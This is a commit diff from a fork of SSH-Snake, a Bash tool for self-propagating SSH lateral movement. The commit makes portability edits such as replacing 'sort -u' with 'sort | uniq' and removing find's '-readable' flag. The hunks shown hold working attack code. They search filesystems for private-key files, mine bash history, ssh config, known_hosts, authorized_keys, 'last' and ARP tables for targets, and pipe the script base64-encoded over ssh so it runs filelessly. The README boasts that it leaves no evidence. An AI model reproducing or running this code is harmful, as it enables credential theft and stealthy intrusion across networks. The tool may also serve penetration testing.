1
0
forked from extern/SSH-Snake

Remove more GNU-ism, improve MacOS support, remove -readable, and use sort|uniq instead of sort -u

This commit is contained in:
Joshua Rogers 2024-01-11 22:45:27 +07:00
parent b30ee12a27
commit 61acad40b4
3 changed files with 35 additions and 37 deletions

View File

@ -61,7 +61,7 @@ curl https://raw.githubusercontent.com/MegaManSec/SSH-Snake/main/Snake.nocomment
# About SSH-Snake # About SSH-Snake
SSH-Snake seamlessly emulates what a human adversary would do to discover SSH private keys and destinations where they can be used to connect to. Written entirely in Bash, it operates with a minimal set of dependencies commonly available on major Linux (and MacOS) systems: `bash`, `ssh`, `coreutils`, `awk`, `sort`, `grep`, `tr`, `find`, and `cat`. `getent` OR `dscacheutil` is required. `sed` is required for only the very first system. Likewise, `sudo`, `hostname`, `ip`, `timeout`, `arp`, `ifconfig`, `ipconfig`, and `xargs` may also be used, but they are not required (and the script gracefully handles cases where they are not present). If a system is discovered without any of the required packages, it gracefully fails, alerting the user that the scan could not continue on that particular system (and backtracks, continuing from the previous system.) SSH-Snake seamlessly emulates what a human adversary would do to discover SSH private keys and destinations where they can be used to connect to. Written entirely in Bash, it operates with a minimal set of dependencies commonly available on major Linux (and MacOS) systems: `bash`, `ssh`, `coreutils`, `awk`, `uniq`, `sort`, `grep`, `tr`, `find`, and `cat`. `getent` OR `dscacheutil` is required. `sed` is required for only the very first system. Likewise, `sudo`, `hostname`, `ip`, `timeout`, `arp`, `ifconfig`, `ipconfig`, and `xargs` may also be used, but they are not required (and the script gracefully handles cases where they are not present). If a system is discovered without any of the required packages, it gracefully fails, alerting the user that the scan could not continue on that particular system (and backtracks, continuing from the previous system.)
SSH-Snake is completely fileless: after the user runs the script, it is passed to destinations' bash via stdin and bash arguments (via SSH). No material evidence of the script exists on any of the systems scanned: the only evidence of the script running is in the process tree, and the substantial amount of invalid SSH attempts which will inevitably occur. SSH-Snake is completely fileless: after the user runs the script, it is passed to destinations' bash via stdin and bash arguments (via SSH). No material evidence of the script exists on any of the systems scanned: the only evidence of the script running is in the process tree, and the substantial amount of invalid SSH attempts which will inevitably occur.
@ -144,6 +144,4 @@ I am particually interested in any interesting `[line]` outputs associated with
- GNU coreutils: The script relies heavily on GNU coreutils. I have not determined how much (if any) GNU-ism is used in the script. - GNU coreutils: The script relies heavily on GNU coreutils. I have not determined how much (if any) GNU-ism is used in the script.
- `find ... -readable ...` is used in the script in multiple places. The `-readable` flag is not supported on all versions of `find(1)`.
- The script does not currently look for SSH agent sockets. - The script does not currently look for SSH agent sockets.

View File

@ -260,7 +260,7 @@ printf "%s\n" "$line"
done < <(echo 'printf "%s" "$1" | base64 -d | stdbuf -o0 bash --noprofile --norc -s $1' | stdbuf -o0 bash --noprofile --norc -s "$(printf "%s" "$local_script" | base64 | tr -d '\n')" 2>&1 | grep -v -F 'INTERNAL_MSG') done < <(echo 'printf "%s" "$1" | base64 -d | stdbuf -o0 bash --noprofile --norc -s $1' | stdbuf -o0 bash --noprofile --norc -s "$(printf "%s" "$local_script" | base64 | tr -d '\n')" 2>&1 | grep -v -F 'INTERNAL_MSG')
[[ $use_retry_all_dests -eq 1 ]] || return [[ $use_retry_all_dests -eq 1 ]] || return
local retried_interesting_dests local retried_interesting_dests
retried_interesting_dests="$(gen_retried_interesting_dests | sort -u)" retried_interesting_dests="$(gen_retried_interesting_dests | sort | uniq)"
[[ "${#retried_interesting_dests}" -gt 0 ]] || return [[ "${#retried_interesting_dests}" -gt 0 ]] || return
printf "\n\n---------------------------------------\n\n" printf "\n\n---------------------------------------\n\n"
printf "use_retry_all_dests=1. Re-starting.\n" printf "use_retry_all_dests=1. Re-starting.\n"
@ -325,8 +325,8 @@ printf "Unique shell accounts accessed: %s\n" "${#root_ssh_hostnames_dests[@]}"
printf "Unique systems accessed: %s\n" "${#root_ssh_hosts[@]}" printf "Unique systems accessed: %s\n" "${#root_ssh_hosts[@]}"
printf "\nNeed a list of servers accessed? Run one of these commands:\n\n" printf "\nNeed a list of servers accessed? Run one of these commands:\n\n"
cat <<"EOF" cat <<"EOF"
grep -oE "[a-z_][a-z0-9_-]{0,31}@[0-9\.]*$" output.log | sort -u grep -oE "[a-z_][a-z0-9_-]{0,31}@[0-9\.]*$" output.log | sort | uniq
grep -oE "[a-z_][a-z0-9_-]{0,31}@\([0-9\.:]*\)$" output.log | sort -u grep -oE "[a-z_][a-z0-9_-]{0,31}@\([0-9\.:]*\)$" output.log | sort | uniq
EOF EOF
printf -- "-- https://joshua.hu/ --\n" printf -- "-- https://joshua.hu/ --\n"
printf -- "-- https://github.com/MegaManSec/SSH-Snake --\n" printf -- "-- https://github.com/MegaManSec/SSH-Snake --\n"
@ -335,7 +335,7 @@ printf "\nThanks for playing!\n"
check_commands() { check_commands() {
local required_commands local required_commands
local required_command local required_command
required_commands=("ssh-keygen" "readlink" "ssh" "basename" "base64" "awk" "sort" "grep" "tr" "find" "cat" "stdbuf") required_commands=("ssh-keygen" "readlink" "ssh" "basename" "base64" "awk" "sort" "uniq" "grep" "tr" "find" "cat" "stdbuf")
for required_command in "${required_commands[@]}"; do for required_command in "${required_commands[@]}"; do
if ! command -v "$required_command" >/dev/null 2>&1; then if ! command -v "$required_command" >/dev/null 2>&1; then
echo "$required_command" echo "$required_command"
@ -538,7 +538,7 @@ is_dir "$ssh_folder" || continue
while IFS= read -r ssh_file; do while IFS= read -r ssh_file; do
is_file "$ssh_file" || continue is_file "$ssh_file" || continue
ssh_files["$ssh_file"]=1 ssh_files["$ssh_file"]=1
done < <(${s} find -L "$ssh_folder" -type f -readable 2>/dev/null) done < <(${s} find -L "$ssh_folder" -type f 2>/dev/null)
done done
} }
check_file_for_privkey() { check_file_for_privkey() {
@ -615,7 +615,7 @@ find_ssh_keys_paths() {
local ssh_file local ssh_file
while IFS= read -r ssh_file; do while IFS= read -r ssh_file; do
check_and_populate_keys "$ssh_file" check_and_populate_keys "$ssh_file"
done < <(${s} find -L ${scan_paths[@]} -maxdepth "$scan_paths_depth" -type f -size +200c -size -14000c -readable -exec grep -l -m 1 -E '^----[-| ]BEGIN .{0,15}PRIVATE KEY' {} + 2>/dev/null) done < <(${s} find -L ${scan_paths[@]} -maxdepth "$scan_paths_depth" -type f -size +200c -size -14000c -exec grep -l -m 1 -E '^----[-| ]BEGIN .{0,15}PRIVATE KEY' {} + 2>/dev/null)
} }
check_potential_key_files() { check_potential_key_files() {
local key_file local key_file
@ -720,7 +720,7 @@ fi
done done
[[ -z "$cached_ssh_user" ]] && add_ssh_user "$home_user" && cached_ssh_user="$home_user" [[ -z "$cached_ssh_user" ]] && add_ssh_user "$home_user" && cached_ssh_user="$home_user"
[[ -n "$cached_ssh_user" && -n "$cached_ssh_host" ]] && add_ssh_dest "$cached_ssh_user@$cached_ssh_host" [[ -n "$cached_ssh_user" && -n "$cached_ssh_host" ]] && add_ssh_dest "$cached_ssh_user@$cached_ssh_host"
done < <(${s} grep -E '^(ssh|scp|rsync) ' -- "$home_file" 2>/dev/null | sort -u) done < <(${s} grep -E '^(ssh|scp|rsync) ' -- "$home_file" 2>/dev/null | sort | uniq)
done done
} }
find_from_ssh_config() { find_from_ssh_config() {
@ -757,8 +757,8 @@ add_ssh_user "$cline_val"
check_potential_key_files "$cline_val" "$home_folder" check_potential_key_files "$cline_val" "$home_folder"
;; ;;
esac esac
done < <(${s} grep -iE 'Host|HostName|User|IdentityFile' -- "$ssh_file" 2>/dev/null | sort -u) done < <(${s} grep -iE 'Host|HostName|User|IdentityFile' -- "$ssh_file" 2>/dev/null | sort | uniq)
done < <(${s} find -L "$home_folder/.ssh" -type f -readable 2>/dev/null) done < <(${s} find -L "$home_folder/.ssh" -type f 2>/dev/null)
done done
} }
find_user_from_file() { find_user_from_file() {
@ -783,8 +783,8 @@ local ssh_host
while IFS= read -r ssh_host; do while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host" add_ssh_host "$ssh_host"
[[ -n "$home_user" ]] && add_ssh_dest "$home_user@$ssh_host" [[ -n "$home_user" ]] && add_ssh_dest "$home_user@$ssh_host"
done < <(echo "$ssh_address" | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort -u) done < <(echo "$ssh_address" | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort | uniq)
done < <(${s} grep -F 'from=' -- "$ssh_file" 2>/dev/null | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort -u) done < <(${s} grep -F 'from=' -- "$ssh_file" 2>/dev/null | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort | uniq)
done done
} }
find_from_last() { find_from_last() {
@ -792,7 +792,7 @@ local ssh_dest
last -aiw >/dev/null 2>&1 || return last -aiw >/dev/null 2>&1 || return
while IFS= read -r ssh_dest; do while IFS= read -r ssh_dest; do
add_ssh_dest "$ssh_dest" add_ssh_dest "$ssh_dest"
done < <(last -aiw 2>/dev/null | grep -v reboot | awk '/\./ {print $1":"$NF}' | sort -u) done < <(last -aiw 2>/dev/null | grep -v reboot | awk '/\./ {print $1":"$NF}' | sort | uniq)
} }
find_from_known_hosts() { find_from_known_hosts() {
local ssh_file local ssh_file
@ -812,26 +812,26 @@ add_ssh_user "$ssh_user"
add_ssh_host "$ssh_host" add_ssh_host "$ssh_host"
add_ssh_dest "$ssh_dest" add_ssh_dest "$ssh_dest"
[[ -n "$home_user" && -n "$ssh_host" ]] && add_ssh_dest "$home_user@$ssh_host" [[ -n "$home_user" && -n "$ssh_host" ]] && add_ssh_dest "$home_user@$ssh_host"
done < <(${s} "${sshkeygen[@]}" "$ssh_file" 2>/dev/null | grep -F -v '|1|' | tr '[:upper:]' '[:lower:]' | grep -oE ':[a-z0-9]{2} .*' | awk '{print $2}' | sort -u) done < <(${s} "${sshkeygen[@]}" "$ssh_file" 2>/dev/null | grep -F -v '|1|' | tr '[:upper:]' '[:lower:]' | grep -oE ':[a-z0-9]{2} .*' | awk '{print $2}' | sort | uniq)
done done
} }
find_from_hosts() { find_from_hosts() {
local ssh_host local ssh_host
while IFS= read -r ssh_host; do while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host" add_ssh_host "$ssh_host"
done < <(getent ahostsv4 2>/dev/null | awk -F" " '{print $NF}' | tr ' ' '\n' | sort -u) done < <(getent ahostsv4 2>/dev/null | awk -F" " '{print $NF}' | tr ' ' '\n' | sort | uniq)
while IFS=": " read -r _ ssh_host; do while IFS=": " read -r _ ssh_host; do
add_ssh_host "$ssh_host" add_ssh_host "$ssh_host"
done < <(dscacheutil -q host 2>/dev/null | grep -F 'ip_address:' | sort -u) done < <(dscacheutil -q host 2>/dev/null | grep -F 'ip_address:' | sort | uniq)
} }
find_arp_neighbours() { find_arp_neighbours() {
local ssh_host local ssh_host
while IFS= read -r ssh_host; do while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host" add_ssh_host "$ssh_host"
done < <(ip neigh 2>/dev/null | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort -u) done < <(ip neigh 2>/dev/null | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort | uniq)
while IFS= read -r ssh_host; do while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host" add_ssh_host "$ssh_host"
done < <(arp -a 2>/dev/null | awk -F"\\\(|\\\)" '{print $2}' | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort -u) done < <(arp -a 2>/dev/null | awk -F"\\\(|\\\)" '{print $2}' | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort | uniq)
} }
find_d_block() { find_d_block() {
local octets local octets

View File

@ -483,7 +483,7 @@ shape_script() {
[[ $use_retry_all_dests -eq 1 ]] || return [[ $use_retry_all_dests -eq 1 ]] || return
local retried_interesting_dests local retried_interesting_dests
retried_interesting_dests="$(gen_retried_interesting_dests | sort -u)" retried_interesting_dests="$(gen_retried_interesting_dests | sort | uniq)"
[[ "${#retried_interesting_dests}" -gt 0 ]] || return [[ "${#retried_interesting_dests}" -gt 0 ]] || return
@ -565,8 +565,8 @@ EOF
printf "Unique systems accessed: %s\n" "${#root_ssh_hosts[@]}" printf "Unique systems accessed: %s\n" "${#root_ssh_hosts[@]}"
printf "\nNeed a list of servers accessed? Run one of these commands:\n\n" printf "\nNeed a list of servers accessed? Run one of these commands:\n\n"
cat <<"EOF" cat <<"EOF"
grep -oE "[a-z_][a-z0-9_-]{0,31}@[0-9\.]*$" output.log | sort -u grep -oE "[a-z_][a-z0-9_-]{0,31}@[0-9\.]*$" output.log | sort | uniq
grep -oE "[a-z_][a-z0-9_-]{0,31}@\([0-9\.:]*\)$" output.log | sort -u grep -oE "[a-z_][a-z0-9_-]{0,31}@\([0-9\.:]*\)$" output.log | sort | uniq
EOF EOF
@ -581,7 +581,7 @@ check_commands() {
local required_commands local required_commands
local required_command local required_command
required_commands=("ssh-keygen" "readlink" "ssh" "basename" "base64" "awk" "sort" "grep" "tr" "find" "cat" "stdbuf") # "sudo" "hostname" "xargs" "getent" "ifconfig" "ipconfig" "ip" "timeout" "dscacheutil" are all semi-optional. "sed" is necessary only by the first system. required_commands=("ssh-keygen" "readlink" "ssh" "basename" "base64" "awk" "sort" "uniq" "grep" "tr" "find" "cat" "stdbuf") # "sudo" "hostname" "xargs" "getent" "ifconfig" "ipconfig" "ip" "timeout" "dscacheutil" are all semi-optional. "sed" is necessary only by the first system.
for required_command in "${required_commands[@]}"; do for required_command in "${required_commands[@]}"; do
if ! command -v "$required_command" >/dev/null 2>&1; then if ! command -v "$required_command" >/dev/null 2>&1; then
@ -921,7 +921,7 @@ init_ssh_files() {
while IFS= read -r ssh_file; do while IFS= read -r ssh_file; do
is_file "$ssh_file" || continue is_file "$ssh_file" || continue
ssh_files["$ssh_file"]=1 ssh_files["$ssh_file"]=1
done < <(${s} find -L "$ssh_folder" -type f -readable 2>/dev/null) done < <(${s} find -L "$ssh_folder" -type f 2>/dev/null)
done done
} }
@ -1048,7 +1048,7 @@ find_ssh_keys_paths() {
while IFS= read -r ssh_file; do while IFS= read -r ssh_file; do
check_and_populate_keys "$ssh_file" check_and_populate_keys "$ssh_file"
done < <(${s} find -L ${scan_paths[@]} -maxdepth "$scan_paths_depth" -type f -size +200c -size -14000c -readable -exec grep -l -m 1 -E '^----[-| ]BEGIN .{0,15}PRIVATE KEY' {} + 2>/dev/null) # Longest key is ---- BEGIN SSH2 ENCRYPTED PRIVATE KEY ----. We lose "SSH PRIVATE KEY FILE FORMAT 1.1" but oh well. done < <(${s} find -L ${scan_paths[@]} -maxdepth "$scan_paths_depth" -type f -size +200c -size -14000c -exec grep -l -m 1 -E '^----[-| ]BEGIN .{0,15}PRIVATE KEY' {} + 2>/dev/null) # Longest key is ---- BEGIN SSH2 ENCRYPTED PRIVATE KEY ----. We lose "SSH PRIVATE KEY FILE FORMAT 1.1" but oh well.
} }
# Given a key file path and a home directory, determine whether the key exists and corresponds to a private key or not using the appropriate home directory location where necessary. # Given a key file path and a home directory, determine whether the key exists and corresponds to a private key or not using the appropriate home directory location where necessary.
@ -1242,7 +1242,7 @@ find_from_bash_history() {
[[ -z "$cached_ssh_user" ]] && add_ssh_user "$home_user" && cached_ssh_user="$home_user" # XXX: Can we parse ssh_config and detect Host [host] corresponds to a user, instead? [[ -z "$cached_ssh_user" ]] && add_ssh_user "$home_user" && cached_ssh_user="$home_user" # XXX: Can we parse ssh_config and detect Host [host] corresponds to a user, instead?
[[ -n "$cached_ssh_user" && -n "$cached_ssh_host" ]] && add_ssh_dest "$cached_ssh_user@$cached_ssh_host" [[ -n "$cached_ssh_user" && -n "$cached_ssh_host" ]] && add_ssh_dest "$cached_ssh_user@$cached_ssh_host"
done < <(${s} grep -E '^(ssh|scp|rsync) ' -- "$home_file" 2>/dev/null | sort -u) done < <(${s} grep -E '^(ssh|scp|rsync) ' -- "$home_file" 2>/dev/null | sort | uniq)
done done
} }
@ -1300,8 +1300,8 @@ find_from_ssh_config() {
check_potential_key_files "$cline_val" "$home_folder" check_potential_key_files "$cline_val" "$home_folder"
;; ;;
esac esac
done < <(${s} grep -iE 'Host|HostName|User|IdentityFile' -- "$ssh_file" 2>/dev/null | sort -u) done < <(${s} grep -iE 'Host|HostName|User|IdentityFile' -- "$ssh_file" 2>/dev/null | sort | uniq)
done < <(${s} find -L "$home_folder/.ssh" -type f -readable 2>/dev/null) done < <(${s} find -L "$home_folder/.ssh" -type f 2>/dev/null)
done done
} }
@ -1337,8 +1337,8 @@ find_from_authorized_keys() {
while IFS= read -r ssh_host; do while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host" add_ssh_host "$ssh_host"
[[ -n "$home_user" ]] && add_ssh_dest "$home_user@$ssh_host" [[ -n "$home_user" ]] && add_ssh_dest "$home_user@$ssh_host"
done < <(echo "$ssh_address" | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort -u) done < <(echo "$ssh_address" | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort | uniq)
done < <(${s} grep -F 'from=' -- "$ssh_file" 2>/dev/null | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort -u) done < <(${s} grep -F 'from=' -- "$ssh_file" 2>/dev/null | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort | uniq)
done done
} }
@ -1350,7 +1350,7 @@ find_from_last() {
while IFS= read -r ssh_dest; do while IFS= read -r ssh_dest; do
add_ssh_dest "$ssh_dest" add_ssh_dest "$ssh_dest"
done < <(last -aiw 2>/dev/null | grep -v reboot | awk '/\./ {print $1":"$NF}' | sort -u) done < <(last -aiw 2>/dev/null | grep -v reboot | awk '/\./ {print $1":"$NF}' | sort | uniq)
} }
@ -1387,7 +1387,7 @@ find_from_known_hosts() {
add_ssh_dest "$ssh_dest" add_ssh_dest "$ssh_dest"
[[ -n "$home_user" && -n "$ssh_host" ]] && add_ssh_dest "$home_user@$ssh_host" [[ -n "$home_user" && -n "$ssh_host" ]] && add_ssh_dest "$home_user@$ssh_host"
done < <(${s} "${sshkeygen[@]}" "$ssh_file" 2>/dev/null | grep -F -v '|1|' | tr '[:upper:]' '[:lower:]' | grep -oE ':[a-z0-9]{2} .*' | awk '{print $2}' | sort -u) done < <(${s} "${sshkeygen[@]}" "$ssh_file" 2>/dev/null | grep -F -v '|1|' | tr '[:upper:]' '[:lower:]' | grep -oE ':[a-z0-9]{2} .*' | awk '{print $2}' | sort | uniq)
done done
} }
@ -1397,11 +1397,11 @@ find_from_hosts() {
while IFS= read -r ssh_host; do while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host" add_ssh_host "$ssh_host"
done < <(getent ahostsv4 2>/dev/null | awk -F" " '{print $NF}' | tr ' ' '\n' | sort -u) # skip ipv6 for now, might be tab. done < <(getent ahostsv4 2>/dev/null | awk -F" " '{print $NF}' | tr ' ' '\n' | sort | uniq) # skip ipv6 for now, might be tab.
while IFS=": " read -r _ ssh_host; do while IFS=": " read -r _ ssh_host; do
add_ssh_host "$ssh_host" add_ssh_host "$ssh_host"
done < <(dscacheutil -q host 2>/dev/null | grep -F 'ip_address:' | sort -u) done < <(dscacheutil -q host 2>/dev/null | grep -F 'ip_address:' | sort | uniq)
} }
# Neighbouring hosts that announce themselves via ARP may be interesting. # Neighbouring hosts that announce themselves via ARP may be interesting.
@ -1410,11 +1410,11 @@ find_arp_neighbours() {
while IFS= read -r ssh_host; do while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host" add_ssh_host "$ssh_host"
done < <(ip neigh 2>/dev/null | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort -u) # ignore ipv6 and ignore gateway done < <(ip neigh 2>/dev/null | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort | uniq) # ignore ipv6 and ignore gateway
while IFS= read -r ssh_host; do while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host" add_ssh_host "$ssh_host"
done < <(arp -a 2>/dev/null | awk -F"\\\(|\\\)" '{print $2}' | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort -u) # ignore ipv6 and ignore gateway done < <(arp -a 2>/dev/null | awk -F"\\\(|\\\)" '{print $2}' | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort | uniq) # ignore ipv6 and ignore gateway
} }
# Neighbouring d-block hosts (x.x.x.0-x.x.x.255) may be interesting. # Neighbouring d-block hosts (x.x.x.0-x.x.x.255) may be interesting.